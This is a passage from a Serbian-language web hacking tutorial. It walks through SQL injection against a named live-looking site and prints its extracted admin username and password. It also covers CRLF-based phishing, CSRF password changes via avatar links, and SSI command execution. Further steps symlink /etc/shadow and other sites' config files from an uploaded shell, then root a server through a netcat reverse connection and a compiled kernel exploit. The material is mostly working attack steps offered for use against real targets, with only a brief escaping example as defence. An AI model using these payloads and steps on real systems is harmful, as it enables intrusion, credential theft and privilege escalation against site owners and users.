i dobicemo kolonu id. Menjacemo offset sve dok ne dodjemo do toga da nas sajt prebaci na pocetnu stranu, sto znaci da nema vise kolona u toj tabeli ili dok ne dobijemo imena zeljenih kolona.

7) Vadjenje podataka iz kolona

Nasli smo kolone username i password i sad zelimo da izvucemo podatke iz kolone. Query kod vadjenja podataka iz kolone ja laksi od query-a za tabele i kolone. Link ce biti:

http://www.link.com/page.php?page=1+and+1=cast((select+username+||CHR(58)||+password+from+admin+limit+1+offset+0)+as+int)--

I dobicemo ispis tipa:

admin:21232f297a57a5a743894a0e4a801fc3

CHR(58) predstavlja dve tacke(:) i to koristimo da bismo izvlacili dve kolone odjednom.

[ ASPX SQL Injection ][ Sadrzaj ]

[1] Pronalazenje imena kolona

[2] Pronalazenje imena Tabela

[3] Pronalazenje kolona u Admin Tabeli

[4] Pronalazenje Username-a i Passwd-a

Page 43: Web hacking methodes

1) Pronalazenje imena kolona

Ovde cemo pronaci imena kolona tabele koja se trenutno koristi...

Vulnerable link:

http://pothys.com/ImageDisplay.aspx?Id=1535&Prod=SilkCotton

Dodacemo order by i imacemo link:

http://pothys.com/ImageDisplay.aspx?Id=1535&Prod=SilkCotton order by 1--

Ako vam izadje Error Page idemo na:

http://pothys.com/ImageDisplay.aspx?Id=1535

Imamo link na kome cemo dobiti imena kolona:

http://pothys.com/ImageDisplay.aspx?Id=1535 having 1=1

2) Pronalazenje imena Tabela

Imaamo link na kome cemo dobiti ime tabele:

http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_schema.tables))

Page 44: Web hacking methodes

Nas zanima Admin tabela... Imamo link:

http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Tab_FinalOrder')))

Ime admin tabele je "AdminMaster"

3) Pronalazenje kolona u Admin Tabeli

Imamo link:

http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'AdminMaster'))

http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'AdminMaster' and column_name not in ('Admin_name')))

Imena kolona:

Page 45: Web hacking methodes

4) Pronalazenje Username-a i Passwd-a

Imamo link:

http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 Admin_name from AdminMaster))

http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 Admin_password from AdminMaster))

Username: admin

Password: pothys!@#

[ Carriage Return and Line Feed (CRLF) ][ Sadrzaj ]

[1] CRLF?

[2] Ranjiva mesta

[3] Iskoriscavanje ranjivosti i zastita

Page 46: Web hacking methodes

[4] Ranjiva skripta

1) CRLF?

CRLF je skraceno od Carriage Return and Line Feed. CRLF se veoma lako izvodi i moze nam sluziti kako bismo prevarili nekog korisnika. U principu to je kao da ubacujemo novi red(\n).

2) Ranjiva mesta

Ranjiva mesta su svuda. Svuda mozete naci nekoga koga cete prevariti i izvesti napad. U ovom tutorialu cu ja za primer koristiti da je ranjivo mesto neki cet.

3) Iskoriscavanje ranjivosti

Recimo da kada se posalje poruka cet izgleda ovako:

[ 1.4.2012 10:29 ] - Illusionist: Zasto ne radi login stranica?

[ 1.4.2012 10:29 ] - b0ne^: Izgleda da je neko obrisa databazu za login.

[ 1.4.2012 10:29 ] - Admin: Sad cu da vidim pa cu vam javiti.

[ 1.4.2012 10:30 ] - b0ne^: Ajde ajde cekamo mi...\n[ 1.4.2012 10:30 ] - Admin: U pravu si b0ne^ obrisana je databaza za login. Ulogujte se ovde za sada dok ne vratim ovde http://ranjivastranica.com/login.php

Ukoliko je cet ranjiv poslednja poruka ce izgledati ovako:

[ 1.4.2012 10:30 ] - b0ne^: Ajde ajde cekamo mi...

[ 1.4.2012 10:30 ] - Admin: U pravu si b0ne^ obrisana je databaza za login. Ulogujte se ovde za sada dok ne vratim ovde http://ranjivastranica.com/login.php

Mi smo napisali ovu drugu poruku od Admina i korisnici ce pomisliti da je tu poruku napisao Admin i ulogovace se na stranici koju smo mi stavili u poruci. Kod logina naravno stavimo da se na sajtu snimaju podaci od korisnika.

4) Ranjiva skripta

U principu ranjiva skripta je svaka gde se ne koristi neki vid zastite(htmlentitites, htmlspecialchars) itd... Najbolje je koristiti htmlspecialchars kako bi se svi specijalni znakovi pretvorili u neke druge znakove.

Evo primera za koriscenje htmlspecialchars kao zastitu.

<?php

if(isset($_POST['posalji_poruku']))

{

if(!empty($_POST['poruka']))

{

Page 47: Web hacking methodes

$poruka = htmlspecialchars($_POST['poruka']);

// dalji kod za slanje poruke

}

}

?>

[ Cross Site Request Forgery (CSRF) ][ Sadrzaj ]

[1] CSRF?

[2] Ranjiva mesta?

[3] Iskoriscavanje ranjivosti

1) CSRF?

CSRF je skraceno od Cross Site Request Forgery. CSRF je "hibrid" izmedju XSS i LFI. CSRF sluzi kako bi se izvrsile neke stvari i to bez znanja korisnika.

2) Ranjiva mesta?

CSRF se moze koristi kada se koristi GET metoda. Ukoliko je uspesno izveden CSRF napad, napadac moze da promeni npr lozinku nekom koristniku bez njegovog znanja. Najcesca mesta za izvodjenje ovih

napada su avatari.

3) Iskoriscavanje ranjivosti

Recimo da imamo link od profila:

http://www.link.com/profile.php

gde pisu podaci od profila(username, avatar, email...)

Sada kada bi korisnik normalno hteo da edituje svoj profil recicemo da koristi link npr:

http://www.link.com/edit_profile.php

Sada umesto linka od slika, tj avatara ubacicemo link od stranice za editovanje profila zajedno sa novom sifrom koriscenjem GET metode.

NAPOMENA: mora se koristiti GET metoda prilikom editovanja profila inace nista od napada

Page 48: Web hacking methodes

Ubacicemo za link od avatara:

http://www.link.com/edit_profile.php?password=novalozinka&submit=true

password je ime od inputa(negde moze i biti drugacije najbolje je proveriti u source code) submit=true znaci da je dugme za submit pritisnuto... password i submit zavisi od imena koja su koriscena u kodu (<input name="")...

i potvrdicemo promenu avatar-a... Sada kada pogledamo sliku videcemo da izgleda kao da slika ne postoji... Kada neki drugi koristnik bude pogledao vas avatar

ukoliko je napad bio uspesan njegova sifra ce se promeniti u onu koju smo naveli, u nasem slucaji novalozinka...

[ Server Side Includes (SSI) ][ Sadrzaj ]

[1] SSI?

[2] Kreiranje SSI

[3] Server Side Inclusion

[4] Ranjivi sajtovi

1) SSI?

Server Side includes omogucava nam da brze odradimo neke stvari na sajtovima. Tako na primer, na nekom sajtu ne moramo da menjamo svaki deo koda tog sajta, svake stranice,

nego jednostavno mozemo da pomocu SSI ucitamo odredjeni fajl, sa odredjenim kodom za taj deo stranice, i taj kod ce raditi na svakoj stranici.

Preko SSI mozemo da updatetujemo databazu, saljemo mailove i razne druge funkcije bez dodatnog programiranja i nekih CGI scripti.

Bukvalno SSI radi tako sto kada neko pokrene tu scirptu na sajtu, tj kada ode na nju, server tu scriptu skenira, ocita komande, zatim ih izvrsi.

Ovo je onako laicki opisano, da bi neko sa manjim znanjem mogao da razume... Defaultna ekstenzija za SSI fajlove je .shtml .

Da bi SSI radio u tom direktorijumu gde vam je .shtml fajl, mora postojati i .htaccess fajl, koji u sebi sadrzi odredjenu konfiguraciju.

Vi takodje mozete includati i .html fajlove, to se takodje podesava u .htaccess.

Evo vam ovde jedan .htaccess fajl, koji ce raditi i sa .shtml i sa .html fajlovima.

SSI je po defaultu iskljucen njega cete 'ukljuciti' kreiranjem ovog .htaccess fajla, sa sledecom konfiguracijom.

AddType text/html .shtml

AddHandler server-parsed .shtml

Page 49: Web hacking methodes

AddHandler server-parsed .html

Options Indexes FollowSymLinks Includes

2) Kreiranje SSI

Kao sto sam vec rekao SSI ima ekstenziju .shtml.

Neka prostija scripta bi izgledala ovako : <!--#<komanda> <varijabla>=<sadrzaj varijable>-->

Gde sa: <!--# pocinjemo scriptu

<komanda> tu stoji neka od komandi, kao sto su

config - Podesavanje

include - Inkludovanje odredjenog fajla. Moze biti in-line includes ili diretkno ka fajlu

flow - control IF, ELIF, ELSE, ENDIF petlje

set - Pravi varijabilu za neke odredjene CGI ili SSI procese

printenv - Ispisuje sve moguce varijable

echo - Ispisuje sadrzaj neke varijable

exec - Izvrsava shell/bash ili neku CGI scriptu

fsize - Obezbedjuje velicinu neke datoteke

flastmod - Ispisuje zadnje konifgurisanje nekog fajla

time & date - Vreme i datum formati

Sa --> zavrsavamo scriptu.

Sada jedan primer neke scripte.

<!--#include file="yourfilename.txt" -->

<!--#echo var='Ovo ce ispisati ovaj tekst.'-->

3) Server Side Inclusion Attack

Server Side Inclusion Attack je jedna veoma korisna metoda napada, preko koje mozete da izvrsite neke komande na serveru.

Za ovo ce vam dobro doci znanje Bash i Batch programiranja.

4) Ranjivi sajtovi

Da bi sajt bio vuln na SSI, odredjene ekstenzije tipa ‘.shtml’ ‘.shtm’ or ‘.stm’, moraju da budu includovane u Apache config fajlu.

Sada na primer mozemo da kreiramo fajl sa sledecom komadnom:

Page 50: Web hacking methodes

<!--#exec cmd='ls -la'-->

Sacuvajmo to kao .shtml fajl i otvorimo ga na sajtu.

Mislim da znate sta bi ste trebali da dobijete...

[ Symlink ][ Sadrzaj ]

[1] Symlink?

[2] Symlink, uzimanje config.php fajla.

[3] Symlink na Windows operativnim sistemima

1) Symlink?

Naime radi se o symlink bagu koji nastaje pri losoj proveri fajlove u koje program upisuje nesto.

Da bi mogli da radite sa symlinkovima i da pisete po odredjenim a cesto i nekim bitnim fajlovima cesto ce vam zatrebati program

sa SUIDom.

Imamo fajl kojem znamo ime a znamo i tacan direktorijum u kom se nalazi.

Sada sve zavisi od premisija koje imate i zavisi od od onoga sta vama treba.

Mi mozemo da napravimo fajl neki koji ce da izvlaci tj. cita podatke iz nekog vec postojeceg fajla kojem mi ne mozemo

da pristupimo...

Na primer mi ne mozemo da pristupimo fajlu /etc/shadow jer nemamo premisije, mi mozemo da napravimo

nas fajl koji ce da pokazuje na taj fajl.

Najprostije receno, laicki, symlink ce da izvuce source iz tog fajla i da ga prekopira u nas fajl...

Symlinkove kreiramo sa komandom [code]ln -s [path od fajla koji zelimo da iscitamo] [nasfajl][/code]

Sada nam treba sadrzaj fajla /etc/shadow. Radimo ovako

ln -s /etc/shadow /home/user/Desktop/mojfajl.txt

Sada ce nam se kreirati fajl u /home/user/Desktop/ direktorijumu sa nazivom mojfajl.txt

Kada otvorite mojfajl.txt trebali bi ste imati sadrzaj /etc/shadow fajla.

2) Symlink, uzimanje config.php fajla

Da predjemo na ono sto ce nas malo vise zanimati, a to su config fajlovi od nekih sajtova. Mi iscitamo config i imamo

pristup databazi, odakle mozemo da menjamo usere i ostale stvari...

Symlink cemo najcesce koristiti iz Shella kako bi smo dobili neki config.php fajl sa drugog sajta na istom serveru, tako da moramo znati username od sajta

Page 51: Web hacking methodes

sa kojeg nam treba config, a zatim moramo znati gde se taj config nalazi.

Da bi smo saznali username od sajta nekog, to cemo najlakse uraditi sledecom komandom

ls -la /etc/valiases/imesajta.com

Kada izvrsimo ovu komadnu, dobicemo ovakav output:

$ ls -la /etc/valiases/imesajta.com

-rw-r----- 1 imesaj mail 12 Jan 24 13:55 /etc/valiases/imesajta.com

Dobili smo username: imesaj

Sada znamo putanju do naseg configa koji nam treba.

Ako sajt od kog nam treba config koristi Joomlu, config fajl je u public_html/configuration.php, znaci mi kucamo:

ls -s /home/usernamesajta/public_html/configuration.php imefajla.txt

Ako koristimo symlink sa shella, idemo kracom verzijom, tako sto cemo samo upisati ime fajla koji ce da pokazuje ka config fajlu. Znaci za nas sajt bi izgledalo ovako:

ln -s /home/imesaj/public_html/configuration.php imesajta.txt

Ovako cemo kreirati fajl imesajta.txt na istom mestu gde nam se i nalazi shell, sa sadrzajem configuration.php fajla, od sajta: imesajta.com

Sada vama samo ostaje da iscitate imesajta.txt i da se konektujete na databazu...

3) Symlink na Windows Opreativnim Sistemima

To je bilo sto se tice rada Symlinka na UNIX platformi.

Symlink je moguc i na Windows operativnim sistemima i radi na sledeci nacin:

On ima:

C:\Users\geek>mklink

Creates a symbolic link.

MKLINK [[/D] | [/H] | [/J]] Link Target

/D Creates a directory symbolic link. Default is a file

symbolic link.

/H Creates a hard link instead of a symbolic link.

/J Creates a Directory Junction.

Link specifies the new symbolic link name.

Target specifies the path (relative or absolute) that the new link

refers to.

Page 52: Web hacking methodes

mklink [path mog fajla] [path koji fajl hocemo da iskoristimo]

Na primer imamo direktorijum na desktopu u kojem je neka PHP scripta.

Da bi smo napravili fajl koji pokazuje do te scripte radimo ovako.

mklink /D C:\Users\username\Desktop\direktorijum1\ C:\Users\username\Desktop\direktorijum2\

To bi bilo to za windows, jer vec sam sve objasnio u prethodnom delu. Ovde imate par funkcija i mozete da kombinujete...

[ Rootovanje server-a ][ Sadrzaj ]

[1] Potrebne stvari

[2] Konektovanje sa server-om

[3] uname-a i whoami i id

[4] Kompajliranje exploit-a

[5] Pokretanje exploita i dobijanje root access-a

1) Potrebne stavri

Za rootovanje web server-a mozete koristi i linux i windows platformu... Ja cu koristiti windows... Stavri koje ce vam trebati su:

Netcat: http://joncraton.org/files/nc111nt.zip

Exploit za odrdjenu kernel verziju npr: http://www.exploit-db.com/exploits/9191/

Perl skripta za konektovanje: http://www.multiupload.nl/LSEWBYY5QC

Uploadovan shell na nekom sajtu

Neki otvoreni port na vasem ruteru

2) Konektovanje sa serverom

Prvo sto treba da uradite jeste da povezete vas racunar sa server-om...

u cmd-u dodjite do direktorijuma gde je nc.exe

kucajte sledece:

nc -vv -l -p 1337

umesto 1337 stavite port koji ste otvorili na ruteru

i dobicete ovakvu sliku:

Page 53: Web hacking methodes

Sada idite na vas shell i na backconnect i ukucajte vas ip i port(i ukoliko trazi using c) i kliknite connect... na nekim sajtovima ovo nece raditi pa mozete da uploadujete

perl skriptu za backconnect(download naveden gore) i da probate sa njom na sledeci nacin...

nadjite deo za execute command i kucajte sledece:

perl bcc.pl vas_ip vas_port

sada kada Sada kada ste executovali komandu ili kliknuli execute kod backconnect-a trebalo bi da vam iskoci nesto u netcat-u u roku od 10 sekundi…

3) uname-a i whoami i id

Kada smo se konektovali, mozemo da probamo da dobijemo neke informacije o serveru...

da bismo videli verziju kernel-a kucamo:

uname -a

i ispisace vam verziju kernela u mom slucaju je:

Page 54: Web hacking methodes

Linux web 2.6.18-4-686 #1 SMP Wed Feb 21 16:06:54 UTC 2007 i686 GNU/Linux

i vidimo da jer verzija Linux web 2.6.18-4-686

Sada treba naci odgovarajuci exploit za tu kernel verziju... taj exploit mozete potraziti na nekom od sledecih sajtova:

1337day.com

exploit-db.com

google.com

Sada skinite exploit i uploadjte ga na sajt... Kucamo whoami; id i ispisace nam koji smo user...

4) Kompajliranje exploit-a

Prvo treba da damo odredjen chmod exploit-u... to cemo uraditi sledecom komandom:

chmod 777 ime_exploita.c

i sada da kompajlujemo exploit komandom:

gcc -o explopit ime_exploita.c

5) Pokretanje exploita i dobijanje root access-a

Sad je neophodno pokrenuti exploit, to cemo uraditi sledecom komandom:

./exploit

Zatim cemo da ukucamo sledecu komandu da bi videli da li smo dobili root access:

whoami; id

Ovo ce nam izbaciti neke osnovne informacije o nama :

uid=0(root) gid=0(root) groups=450(apache)

i vi bi trebali imati root na serveru... Naravno za ovo mozete i napraviti neki backdoor kao sto je SSL ili bd u C...

Page 55: Web hacking methodes

[ Web hacking methods ]~ By b0ne^ & Illusionist

Greetings to ljuska.org members

Zabranjeno kopiranje tutorial-a bez dozvole autora!